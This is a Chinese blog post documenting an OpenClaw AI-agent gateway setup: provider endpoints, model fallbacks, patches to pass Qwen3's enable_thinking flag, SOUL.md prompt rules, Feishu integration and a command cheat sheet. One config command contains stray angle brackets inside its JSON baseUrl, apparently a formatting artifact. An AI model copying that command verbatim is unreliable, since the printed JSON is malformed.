qwen	portal.qwen.ai/v1	OAuth	qwen-max, qwen-plus	国际版 qwen-portal，配置向导默认生成
zai	open.bigmodel.cn/api/coding/paas/v4/	API Key	glm-4.7, glm-4.6v	智谱 Coding Plan
anthropic	默认端点	Token	claude-sonnet-4-5	Anthropic 官方
openai-codex	默认端点	OAuth	gpt-5.2 等	OpenAI，OAuth 认证

其中 qwen 是运行 OpenClaw configure 配置向导时自动生成的——向导默认走国际版 OAuth 流程，通过 Qwen OAuth 插件完成认证。阿里云 Coding Plan 套餐（sk-sp- 开头的 key）需要专用端点，不能用国际端点和普通 DashScope API（智谱也是一样）。

端点地址：https://coding.dashscope.aliyuncs.com/v1/
配置命令：

1
OpenClaw config set models.providers.dashscope '{"baseUrl":"<https://coding.dashscope.aliyuncs.com/v1/","api":"openai-completions","models":[{"id":"qwen3-coder-plus","name":"Qwen3-Coder-Plus"},{"id":"qwen3-max-2026-01-23","name":"qwen3-max-2026-01-23>"}]}'

Auth 配置： 在 ~/.openclaw/agents/main/agent/auth-profiles.json 添加 dashscope:default profile
Coding Plan 套餐的 API Key 以 sk-sp- 开头，和普通 Key 不是同一套鉴权体系。最直观的区别是端点不同：

• • 普通 Key ：https://dashscope.aliyuncs.com/compatible-mode/v1/

• • 国际版 OAuth：https://portal.qwen.ai/v1/

• • Coding Plan ：`https://coding.dashscope.aliyuncs.com/v1/

• • Coding Plan支持模型： qwen3-coder-plus, qwen3-max-2026-01-23`

所以务必用正确的baseurl和完整的的模型 ID，不然换多少key尝试也一样 401 。
还有就是，OpenClaw 对 qwen/qwen-max 这种写法有内部路由逻辑，如果之前先一步配置了国际版，再想添加国内版，会把请求打到 qwen-portal，即便配通了，/model也是没办法正常切换模型的。

Fallback 编排

思路是把便宜量大的国产模型放前面扛日常流量，Claude 放最后兜底。日常聊天基本走不到 Fallback 4，除非前面全挂了。

不在Fallback中的模型也可以webchat/tui中手动切换，OpenClaw 支持给模型配别名：

1
2
3
4
"zai/glm-4.7":                    { "alias": "GLM" },
"anthropic/claude-opus-4-5":    { "alias": "opus" },
"qwen/qwen-plus":                 { "alias": "qwen" },
"openai/gpt-5.2":                 { "alias": "gpt" }

比如临时想用 Claude 自查故障，直接 /model opus 切过去就行，不用记完整的 provider/model-id。

上下文管理

大模型对话的上下文窗口有限，长对话必须做裁剪。OpenClaw 提供了几种策略，当前用的是 cache-ttl 模式，TTL 设为 2 小时——超过 2 小时没被引用的上下文会被清理掉。配合 compaction: safeguard 模式，在裁剪前会做安全检查避免丢掉关键信息。

并发方面，主 Agent 限制 8 个并发请求，子 Agent（搜索、工具调用等）放宽到 16 个。对个人使用绰绰有余。

视觉模型

GLM-4.7 是纯文本模型，图片理解得用 GLM-4V 系列。但 OpenClaw 内部的模型前缀白名单（live-model-filter.js）默认只放行 glm-4.7 开头的模型 ID，glm-4v/glm-4.6v 直接被拦，返回 "Model not allowed"。

改法是往白名单数组里加一项：

1
2
sed -i '' 's/const ZAI_PREFIXES = \["glm-4.7"\]/const ZAI_PREFIXES = ["glm-4.7","glm-4.6v"]/' \
  /opt/homebrew/lib/node_modules/openclaw/dist/agents/live-model-filter.js

这是 dist 下的编译产物，升级就被覆盖，想一劳永逸的话可以参考下文提到的补丁脚本。

Qwen3 Thinking 泄露：

几乎所有主流大模型都遵循 “不向用户暴露真实内部推理链” 的安全规则。像 DeepSeek 这样的「伪 CoT / 显式推理层」，本质上也是 解释性推理文本，而不是模型内部真实的推理轨迹。如果你在提示词写了“展示推理步骤”“详细分析”“结构化思考”之类（多见于第三方套壳应用，为了看起来“更高级、更拟人”），模型会模拟一个推理过程给你，但那只是经过训练的格式化输出，是“展示给用户看的推理解释”，不是内部真实权重更新。
qwen3 默认开启 Thinking 模式——类似 o1 的 Chain-of-Thought，模型先内部推理再给最终答案。问题是 OpenClaw 没有正确分离 thinking content 和 final answer，用户看到的回复里混进了推理过程，并且没有<think>...</think> 标签包裹，想过滤都难：

发送消息：

说句话

预期效果：

好的。

实际上：

用户让我说句话，这是明确的指令。我应该简单回应。好的。

排查过程

第一反应以为用 OpenClaw 自带的 /think off 就能关闭 Qwen3 的思考文本，但实践证明这完全无效。原因很简单：/think off 控制的是 OpenClaw 自身的推理增强逻辑，和 Qwen3 的原生 Thinking 模式毫无关系。

接着开始病急乱投医，尝试在 SOUL.md 里加入大量 Output Rules，明确禁止输出自我分析和内心独白，甚至列了具体的禁止模式（"我应该..."、"这是在测试..."之类的）。这些提示规则对普通格式确实有效，但对 Qwen3 的 Thinking 完全压不住——因为这不是提示控制范围的问题，而是模型在架构层启用的能力，根本不受 Prompt 影响。就像你无法仅通过提示让 o1 “停止思考”一样。

阅读了阿里千问的开发文档，hybrid-thinking 模式就是靠 enable_thinking 控制：true 会先思考再回答，false 直接回答。正确的做法是在 API 请求里传 enable_thinking: false。千问的 OpenAI 兼容接口支持这个参数。但在 OpenClaw 配置里加 extraParams 传这个字段，发现请求里死活没有。

在网上搜索了多个技术社区的openclaw相关话题，也有不少人提过：想把“厂商特有参数”原样塞进请求体，遗憾的是只有提问没看到解决方法，但是获得了一个重要线索，OpenClaw 在发 API 请求前有一个参数白名单过滤机制，只允许预定义的参数通过（temperature、top_p 这些），其他一律丢弃。enable_thinking 不在白名单里，被静默过滤了。

修复：打通参数透传的两个阻塞点

参数从用户配置到最终 API 请求经过两层处理，都要改。

第一层：extra-params.js（OpenClaw 的参数处理层）

位置：.../dist/agents/pi-embedded-runner/extra-params.js

在白名单校验之前插入透传逻辑：

1
2
3
if (typeof extraParams.enable_thinking === "boolean") {
    streamParams.enable_thinking = extraParams.enable_thinking;
}

这里用 typeof === "boolean" 而不是简单的 truthy check 是有讲究的——enable_thinking: false 在 if (extraParams.enable_thinking) 里会被判为 falsy 直接跳过，恰恰是你最需要传的那个值传不出去。

第二层：openai-completions.js（底层 HTTP 请求构造层）

位置：.../node_modules/@mariozechner/pi-ai/dist/providers/openai-completions.js

这个文件是 pi-ai 库的一部分，负责组装最终发给 API 的 HTTP Body。在 buildParams 函数的 return params 前加：

1
2
3
if (options?.enable_thinking !== undefined) {
    params.enable_thinking = options.enable_thinking;
}

注意：文件里有两处 return params，分别在 buildParams（约 385 行）和 convertMessages（约 639 行）函数中。只能改前者。convertMessages 的函数签名里没有 options 参数，在那里访问 options?.enable_thinking 虽然不会报错（可选链返回 undefined），但改错了等于白改——参数还是传不到 HTTP Body 里。

配置关闭 Thinking：

1
2
3
4
OpenClaw config set agents.defaults.models.dashscope/qwen3-max-2026-01-23 \
  '{"params":{"enable_thinking":false}}'
OpenClaw config set agents.defaults.models.dashscope/qwen3-coder-plus \
  '{"params":{"enable_thinking":false}}'

补丁脚本

以上源码修改都在 node_modules 或 dist 目录下，升级就没了。维护了一个 ~/.openclaw/patches/apply-patches.sh 做自动化修补。

看一下脚本的设计思路：

1
2
3
4
5
6
7
8
9
10
# 幂等检查——grep 先看有没有打过
if ! grep -q 'enable_thinking' "$EXTRA_PARAMS" 2>/dev/null; then
    sed -i '' '/if (Object\.keys(streamParams)\.length > 0)/i\
    if (typeof extraParams.enable_thinking === "boolean") {\
        streamParams.enable_thinking = extraParams.enable_thinking;\
    }' "$EXTRA_PARAMS"
    echo "[patch] enable_thinking added to extra-params.js"
else
    echo "[patch] extra-params.js already patched"
fi

第二个补丁点比较复杂，用 sed 不好精确定位 buildParams 里的那个 return params（文件里有多处），所以用了 Python 做字符串替换，通过匹配上下文函数名（maybeAddOpenRouterAnthropicCacheControl）来锚定位置。

SOUL.md

SOUL.md 是 OpenClaw 的系统 Prompt 文件，相当于 AI 助手的"灵魂"。Gateway 启动时通过 boot-md Hook 加载到每个会话的上下文里。

人格基调

把 prompt 包装成"灵魂""人格""觉醒"，本质上还是在写 prompt。模型不会因为你告诉它"你正在成为某个人"就真的产生自我意识，它只是在统计概率上调整输出风格。问题是很多人把这当成在"培养 AI"，给它写使命宣言、人生哲学，觉得写得越感人效果越好。实际上模型只看到一串 token，"真诚"和"回复不超过 3 句话"相比，后者效果好十倍。

AI 工具的价值取决于你的使用方式，而不是怎么"感动"它。“智械危机”真要来了也轮不到咱们操心，与其写一堆"你是一个有帮助的AI助手"之类的废话，不如直接定义行为边界：

1
2
3
4
5
提供真正的帮助，而不是表演式的帮助。不要说“好问题！”或“我很乐意帮你！”之类的套话，直接解决问题。
保持有自己的观点。你可以不同意、可以表达偏好，也可以指出某些内容好笑、无聊或不重要。
在提问前先自行查找。优先自己动手：阅读文件、检查上下文、搜索相关信息。如果仍然无法解决，再提出问题。

核心思路是：少说多做，有事说事，别端着。"Great question!" 这种 AI 味的客套话在 IM 对话里特别违和，直接在 Prompt 里禁掉效果很好。

行为边界

给 AI 工具权限之后，哪些事情可以自主做、哪些必须先问，这条线要画清楚：

1
2
3
你的使用者把他们的内容和环境交给了你，别让他们后悔。  
对外部行为要谨慎处理（例如邮件、发帖、任何公开动作），无论何时都要取得许可。  
对内部行为可以大胆一些（阅读、学习），但凡涉及整理或修改内容，即使获得了用户许可，也必须事先做好备份。

翻译过来就是：读文件、搜索信息这些内部操作随便来；发邮件、发消息、发帖子这些对外操作必须谨慎，拿不准就先问。

语言偏好

1
永远说中文。除非用户明确要求使用其他语言。

简单粗暴但有效。不写这条的话，模型会根据上下文语言自动切换，在中英混排的技术讨论里经常突然蹦出英文回复。

工具调用规则

大模型调用工具时的参数传递经常有低级问题。与其每次排查 Bug，不如把踩过的坑直接写进 SOUL.md，比如：

1
2
## Tool Usage
发邮件时 bccRecipients 和 ccRecipients 传空数组 [] 而不是 null。

这条规则源于 mog 邮件工具的一个 Bug：接口定义了 bccRecipients: string[] 类型，但模型在判断"不需要密送"时倾向于传 null 而不是空数组，类型校验直接报错。在 SOUL.md 里写死规则后再没出过这个问题。

飞书集成

连接方式

飞书开放平台支持 WebSocket 长连接模式，不需要公网回调地址，对内网部署很友好。相比 Webhook 模式，WebSocket 省去了域名、证书、端口映射，已经有大佬开发了成熟的插件。

1
2
3
OpenClaw plugins install @m1heng-clawd/feishu
OpenClaw config set channels.feishu \
  '{"enabled":true,"appId":"your_app_id","appSecret":"your_secret"}' --json

消息触发机制

这里有两层开关，容易混淆：

1. 1. 飞书后台的「接收群组中所有消息」权限——控制消息能不能到达你的应用。不开的话，只有 @机器人 的消息才会被推送过来。

2. 2. OpenClaw 配置的 requireMention 字段——控制收到消息后要不要处理。设为 true 则只响应 @消息，设为 false 则所有收到的消息都处理。

两层都打开才是真正的"全量消息"模式。只开飞书权限不关 requireMention，消息虽然到了但 OpenClaw 会忽略非 @消息；反过来只关 requireMention 不开飞书权限，消息根本到不了 OpenClaw。

全量模式要谨慎。开了之后机器人对群内每条消息都会尝试响应，包括表情包、"收到"、"好的"之类的，体验很差且浪费 Token。如果确实需要让机器人"旁听"做总结或知识沉淀，建议在 SOUL.md 里加明确的触发条件过滤。

另外 ackReactionScope: "group-mentions" 控制"已收到" Reaction 的发送范围，当前设置是只在群聊被 @ 时才发 Reaction 反馈，避免在全量模式下每条消息都打一个勾。

Markdown 渲染问题

大模型的输出天然带 Markdown 格式，但飞书的纯文本消息不渲染 Markdown。用户看到的是 **粗体** 和 - 列表项 这种原始标记。

解决这个问题的过程走了点弯路。一开始的思路是"既然飞书不渲染 Markdown，那就让模型别输出 Markdown"，于是配了 capabilities.markdown: false 告诉 OpenClaw 飞书不支持 Markdown，期望模型会自动调整输出格式。实际效果一般——模型偶尔还是会蹦出 Markdown 语法。

后来发现 OpenClaw 飞书插件支持 renderMode: "card" 配置，把消息以飞书卡片形式发送，卡片内容原生支持 Markdown 渲染。这才是正解——与其约束模型不用 Markdown，不如让渠道支持 Markdown。

1
OpenClaw config set channels.feishu.renderMode card

但这个配置只对群聊消息生效。私聊走 outbound.ts 的独立发送逻辑，这条路径没读 renderMode 配置。需要手动改 outbound.ts，在 sendText 方法里加 renderMode 判断，当值为 card 时调用 sendMarkdownCardFeishu 替代默认的纯文本发送。

零碎踩坑

网络配置

OpenClaw 集成了 Brave Search，但 Gateway 进程请求 api.search.brave.com 超时。本机浏览器正常，说明magic在工作。原因是 macOS 上 magic 的 TUN 模式虽然能接管大部分流量，但 LaunchAgent 启动的进程继承的是系统环境变量，不一定走 TUN 虚拟网卡。TUN 通过修改路由表来劫持流量，但如果进程在 TUN 启动之前就建立了连接，或者进程绑定了特定网卡，就可能绕过。这个问题容易忽略，顺便提一下。

最稳的办法是给 LaunchAgent 显式设置代理环境变量。编辑 plist 文件，加：

1
2
3
4
5
6
7
<key>EnvironmentVariables</key>
<dict>
    <key>http_proxy</key>
    <string>http://127.0.0.1:7890</string>
    <key>https_proxy</key>
    <string>http://127.0.0.1:7890</string>
</dict>

这样 Gateway 进程启动时就能拿到代理地址。Node.js 的 HTTP 客户端库（undici、node-fetch 等）大多会读这两个环境变量。

和风天气 API

还是端点问题，免费版端点是 devapi.qweather.com，不是文档里到处出现的 dev.qweather.com，也不是付费版的 api.qweather.com。搞错了返回 403，没有任何额外提示。

终端乱码

SSH 到 Mac 后方向键显示 [[D^[ 之类的转义序列，一般是 .zshrc 里 bindkey 配置覆盖了默认的 emacs 键位映射。粘贴时出现乱码控制字符是 Bracketed Paste 模式的问题，printf '\e[?2004l' 临时关掉，永久解决在 .zshrc 里加 unset zle_bracketed_paste。

常用命令

日常用到的 launchctl 命令：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# ============ 初始化与配置 ============
# 首次安装引导
openclaw onboard
# 交互式配置（凭证、设备、模型）
openclaw configure
# 初始化配置文件和workspace
openclaw setup
# 读配置（点路径）
openclaw config get agents.defaults.extraSystemPrompt
# 写配置
openclaw config set agents.defaults.extraSystemPrompt "你的prompt内容"
# 写JSON格式配置
openclaw config set channels.feishu '{"enabled":true,"appId":"cli_xxx"}' --json
# 删配置
openclaw config unset agents.defaults.extraSystemPrompt
# ============ Gateway 控制 ============
# 启动Gateway（前台）
openclaw gateway --port 18789
# 重启（通过LaunchAgent）
openclaw gateway restart
# 健康检查
openclaw health
# 查看日志
openclaw logs
# 查看渠道状态和最近会话
openclaw status
# 安全审计
openclaw security audit
# 打开控制台Web UI
openclaw dashboard
# ============ LaunchAgent 守护进程 ============
# 安装守护进程（自动生成plist）
openclaw daemon install
# 注册并启动
launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/ai.openclaw.gateway.plist
# 卸载
launchctl bootout gui/$(id -u)/ai.openclaw.gateway
# 原地重启（最常用，`kickstart -k` 的 `-k` 是 kill existing instance，相当于先杀后拉）
launchctl kickstart -k gui/$(id -u)/ai.openclaw.gateway
# 看日志（直接读文件）
tail -f ~/.openclaw/logs/gateway.log
# 打补丁后重启
bash ~/.openclaw/patches/apply-patches.sh && launchctl kickstart -k gui/$(id -u)/ai.openclaw.gateway
# ============ 模型管理 ============
# 查看当前模型配置（默认、fallback、别名、认证）
openclaw models
# 设置默认模型
openclaw models set zai/glm-4.7
# 管理fallback链
openclaw models fallbacks
# 管理别名
openclaw models aliases
# 添加模型认证（交互式，支持API key/OAuth/setup-token）
openclaw models auth add
# 登录GitHub Copilot（设备码流程）
openclaw models auth login-github-copilot
# ============ 插件与Skills ============
# 列出已加载插件
openclaw plugins list
# 安装插件
openclaw plugins install openai
# 启用/禁用插件
openclaw plugins enable <id>
openclaw plugins disable <id>
# 插件健康检查
openclaw plugins doctor
# 列出已加载skills
openclaw skills list
# 查看skill详情
openclaw skills info notion
# ============ 消息与Agent ============
# 发消息到指定渠道
openclaw message send --channel feishu --target <chat_id> --message "内容"
# 直接调用agent并投递回复
openclaw agent --to <target> --message "任务描述" --deliver
# 列出历史会话
openclaw sessions
# ============ 记忆系统 ============
# 查看记忆索引状态
openclaw memory status
# 重建索引
openclaw memory index
# 搜索记忆
openclaw memory search "关键词"
# ============ 渠道管理 ============
# 渠道总览
openclaw channels
# 登录WhatsApp Web（显示二维码）
openclaw channels login --verbose
# ============ 其他 ============
# 管理内置浏览器
openclaw browser
# 定时任务
openclaw cron
# CLI更新
openclaw update
# 看配置文件
cat ~/.openclaw/openclaw.json

最后：排查问题时 console.log 比 log.debug 好使，前者直接输出到 gateway.log，后者受日志级别控制可能被吞。建议先 curl 直接打 API 确认参数和响应格式，再回头对比 OpenClaw 的行为，能快速判断问题出在参数透传还是模型本身。